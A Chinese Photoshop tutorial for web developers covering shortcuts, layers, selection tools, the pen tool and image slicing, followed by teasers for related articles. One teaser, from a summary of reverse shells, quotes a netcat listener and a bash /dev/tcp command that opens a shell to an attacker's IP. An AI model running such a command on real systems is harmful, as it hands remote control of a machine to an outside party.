PS 工具是我们使用频率比较高的软件之一, 我们学习PS目的不是为了设计海报做电商和UI的,而是要求:

  1. 会简单的抠图

  2. 会简单的修改PSD效果图

  3. 熟练的切图

  4. 能和网站美工美眉有共同话题。。。。。

Photoshop基本使用

PS界面组成:

菜单栏、选项栏、工具栏、浮动面板(拖拽名称,可单独操作面板)、绘图窗口 ​ 窗口菜单,可显示隐藏所有面板

工作区:(新建)

调整浮动面板

基本操作

文件下拉菜单: ​ 1、新建 新建文档 CTRL+N

单位:像素 厘米 毫米

屏幕显示: 单位 像素 72像素/英寸 RGB颜色模式

2、关闭文档 CTRL+W

3、存储 CTRL+S (替存)

4、存储为 CTRL+SHIFT+S 另存一份文件

5、格式: ​ .psd PS源文件格式 图层、文字、样式等,可再次编辑 ​ (给自己) ​ .jpg 有损压缩格式 (给客户) 品质 最高12

6、文件打开: ​ 1)文件下拉菜单-打开(CTRL+O欧)

2)双击软件空白处也能打开 ​

移动工具 V

1、不同文件之间拖拽图像。

自由变形

ctrl + T 可以改变图像的大小

按下enter 回车确认操作。

图层操作(重点)

图层面板快捷键 F7 其实图层就是一张张透明的纸 可以实现叠加问题。

图层选择: 使用移动工具V

1、图层缩览图判断

2、按住CTRL,在目标图像上单击

3、将光标放置在目标图像上右键,选择图层名称

图层面板中加选图层:

1、按SHIFT,单击另一目标图层 中间所有图层被选中

2、按CTRL,单击另一目标图层 只选中目标图层

复制图层:选中目标图层后(移动工具状态下)

1、按ALT拖拽图像

2、CTRL+J (重合)

案例: 摆放一个自行车

图层编组

选中目标图层,CTRL+G

取消编组:CTRL+SHIFT+G

双击图层名称可重新命名

双击组名称,可命名组

移动工具V选择组或图层时,需设置选项栏

图层上下位置移动

1、选中目标图层,在图层面拖拽

2、CTRL+] 向上移动图层 ​ CTRL+[ 向下移动图层

3、CTRL+SHIFT+] 图层置顶 ​ CTRL+SHIFT+[ 图层置底

移动选区或图像时:

移动过程中,没释放鼠标,按住SHIFT,可同一水平线、同一垂线、45度移动。

ps中的撤销操作是:

ctrl+z 撤销一步

ctrl+alt+z 撤销多步

图层合并

ctrl+e 可以合并图层

图层透明度

不透明度:设置图层的不透明程度 0%完全透明,不可见

100%完全不透明,真实可见

填充:与不透明度效果类似

键盘数字键,可快速设置透明度数值

矩形选区工具 M

用来选择某部分区域 我们成为选区工具

取消选区: ctrl+d

颜色填充

套索工具 L

1、套索工具 L 在屏幕上拖拽鼠标左键,释放后生成选区

2、多边形套索 L 连续单击绘制多边形选区

闭合方法:1、单击起始点 2、双击任意位置

DELETE删除当前点

磁性套索 L

L 在颜色交界的位置单击后拖动。单击起始点后,生成选区。

魔棒工具 W

以单击位置为选择色,选择相似颜色生成选区。

容差:选择颜色的范围 容差小,颜色选择精确。 0-255

连续:勾选连续时,相连颜色生成选区。

不勾选,画面中所有相似颜色被选中生成选区。

按SHIFT在未生成选区位置单击,可选区相加。

选区反选:CTRL+SHIFT+I

选区布尔运算

选区面积大小的变化。

新选区:保持选中状态

添加到选区:相加运算(按住SHIFT再绘制选区)

从选区减去:相减(按住ALT再绘制选区)

与选区交叉:重合部分保留。(按住ALT+SHIFT再绘制选区)

梦幻星球

钢笔工具: P

作用:绘制路径,生成选区,抠图。

组成;路径线和锚点

绘制路径后,CTRL+回车,生成选区。

路径类型:

直线型路径:连续单击

曲线型路径:第一点单击,第二点拖动鼠标。

文字工具

T 可以直接输入文字

Photoshop 切图

PS切图 可以 分为 手动 利用切片切图 以及 利用PS的插件快速切图

切片工具

  1. 利用切片工具手动划出

  2. 图层菜单---新建基于图层的切片

  3. 利用标尺 基于参考线的切片 (选择切片工具)

4.先选个一个整个的切片, 切片选择工具-- 属性面板中有 “划分” --可以等分数平分切图

导出切片: 文件-- 存储为web设备所用格式

辅助线和切片使用及清除

视图菜单-- 清除 辅助线/ 清除切片

切图插件

Cutterman是一款运行在photoshop中的插件,能够自动将你需要的图层进行输出, 以替代传统的手工 "导出web所用格式" 以及使用切片工具进行挨个切图的繁琐流程。 它支持各种各样的图片尺寸、格式、形态输出,方便你在pc、ios、Android等端上使用。 它不需要你记住一堆的语法、规则,纯点击操作,方便、快捷,易于上手。

官网: http://www.cutterman.cn/zh/cutterman

注意: cutterman插件要求你的ps 必须是完整版,不能是绿色版,所以大家需要从新安装完整版本。

Photoshop基本操作的更多相关文章

  1. PS切图(一)

    Photoshop界面设置 新建文件Ctrl+N,其中[预设]-[web],[宽度]-[1920],高度不定.[背景内容]-[透明],也可存储为预设. 移动设置(V) 建议不勾选[自动选择],选择[图 ...

  2. PS:切图

    1.从psd中获取资源 2.基本了解 3.简单的图片操作和调整 4.对自己的审美提高一.界面设置: 1.新建设置:ctr+n; 预设:Web,大小Web(1920*1080) 背景:透明 2.移动工具 ...

  3. 小小知识点(十四)——Adobe photoshop cc 2018中简单抠图的一些基本操作

    一 如何抠图 1. 右键弹出选择工具,随后鼠标左键选择快速选择工具 2.通过点击鼠标,选择想要的区域: Alt+鼠标右键  左右拖动鼠标可调整画笔大小 Alt+鼠标滑轮,可放大或缩小画布大小 ctrl ...

  4. (转)价值240万的photoshop中文教程,错过了后悔都来不及 (吹得好响)

      PS抠图方法 一.魔术棒法——最直观的方法 适用范围:图像和背景色色差明显,背景色单一,图像边界清晰. 方法意图:通过删除背景色来获取图像. 方法缺陷:对散乱的毛发没有用. 使用方法:1.点击“魔 ...

  5. 替代PhotoShop:GIMP图形编辑器的使用

    GIMP最早是linux环境下用于图形编辑的一款开源软件,目前的功能很已经很丰富,如果使用得当,在很多的图形编辑操作上完全可以替代收费的Photoshop(PS).目前GIMP已经发展成了多平台的开源 ...

  6. Photoshop零基础教程集锦,助你快速进阶为大佬,轻松、任性!!!

    现今,对于Web或App UI设计师而言,除了不断学习专业知识,提升设计技能.掌握一款得心应手的设计工具(例如设计师们常用的图像处理工具PhotoShop,矢量图绘制工具AI, 图形视频处理工具AE, ...

  7. Dreamweaver Flash Photoshop网页设计综合应用 (智云科技) [iso] 1.86G​

    全书共15章,主要包括网页制作基础.Dreamweaver CC网页制作.Photoshop CC网页图像设计.Flash CC网页动画设计以及综合案例实战5个部分.通过本书的学习,不仅能让读者学会三 ...

  8. Photoshop入门教程(一):文本新建与概念解析

    写在开头 <Photoshop实用入门>系列教程可能对于一点都没有接触过Photoshop的人来说不太容易接受,因为本教程并没有细致到教你如何使用画笔工具等一系列很基础的东西,有些地方的讲 ...

  9. Dreamweaver Flash Photoshop网页设计综合应用 (智云科技) [iso] 1.86G

    全书共15章,主要包括网页制作基础.Dreamweaver CC网页制作.Photoshop CC网页图像设计.Flash CC网页动画设计以及综合案例实战5个部分.通过本书的学习,不仅能让读者学会三 ...

随机推荐

  1. xinetd - 扩展的互联网服务守护进程

    总览 SYNOPSIS xinetd [options] 描述 DESCRIPTION xinetd 执行与 inetd 相同的任务:它启动提供互联网服务的程序.与在系统初始化时启动这些服务器,让它们 ...

  2. js中的Array数组清空

    var data = new Array();//数组 data.length = 0;//数组的长度等于0,数组的项就会被清空

  3. delphi xe10 手机程序事件服务操作、退出键操作

    //程序事件服务操作 var FMXApplicationEventService: IFMXApplicationEventService; begin if TPlatformServices.C ...

  4. 给标签设置disabled属性后提交不了数据

    项目中遇到给select标签添加disabled属性然后提交表单的时候不能提交该表单的数据到后台, readonly属性对提交数据没有限制,但是readonly属性对radio.select.chec ...

  5. 各种反弹shell的总结

    linux自带的bash反弹shell 在攻击机行执行 nc -lvvp 12345 来监听端口 在目标机上执行bash -i >& /dev/tcp/攻击机IP/12345 0> ...

  6. <Java编程思想>读书笔记(1)-对象导论、一切都是对象

    1.面向对象编程:OOP (Object-oriented Programming) 2.Alan Kay 总结的面向对象语言5个基本特性: 1) 万物皆为对象 2) 程序是对象的集合,他们通过发送消 ...

  7. nginx中reuqest_uri与uri的区别说明

    reuqest_uri:即客户端发送来的原生请求URI,包括请求参数 uri:请求URI,不包括任何请求参数 举例说明: 1.比如客户端以 get 方式请求 /admin 页面,并且带 id 和 na ...

  8. OCP—051试题

    FROM: http://blog.itpub.net/26736162/viewspace-1252569/?page=2 http://blog.csdn.net/elearnings/artic ...

  9. AtCoder ABC 127F Absolute Minima

    题目链接:https://atcoder.jp/contests/abc127/tasks/abc127_f 题目大意 初始状态下$f(x) = 0$,现在有 2 种模式的询问,第一种以“1 a b” ...

  10. MySQL数据库中,使用 group by 时,不重复字段如何拼接显示

    就不写文字描述了,直接用图和sql来表述吧. 这是测试数据,表名为 person 现在,我想按照性别进行分组,也就是字段 sex ,同时能将分组后的姓名全部显示出来. sql 语句如下: SELECT ...